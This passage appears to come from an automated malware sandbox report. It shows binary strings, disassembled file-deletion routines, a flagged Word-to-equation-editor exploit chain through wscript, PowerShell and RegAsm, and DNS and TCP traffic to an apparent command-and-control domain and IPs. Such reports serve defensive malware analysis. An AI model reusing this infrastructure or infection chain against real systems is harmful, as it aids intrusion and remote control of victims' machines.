              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,8_2_00409253
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,8_2_0041C291
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,8_2_0040C34D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,8_2_00409665
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0044E879 FindFirstFileExA,8_2_0044E879
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,8_2_0040880C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040783C FindFirstFileW,FindNextFileW,8_2_0040783C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,8_2_00419AF5
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,8_2_0040BB30
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,8_2_0040BD37
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,8_2_00407C97

              Software Vulnerabilities

              barindex
              Document exploit detected (process start blacklist hit)
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
              Suspicious execution chain found
              Source: C:\Windows\SysWOW64\wscript.exeChild: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeChild: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              Source: global trafficDNS query: name: 2024remcmon.duckdns.org
              Source: global trafficDNS query: name: 2024remcmon.duckdns.org
              Source: global trafficDNS query: name: 2024remcmon.duckdns.org
              Source: global trafficDNS query: name: geoplugin.net
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49166 -> 198.46.176.133:80
              Source: global trafficTCP traffic: 192.168.2.22:49167 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49169 -> 178.237.33.50:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49165
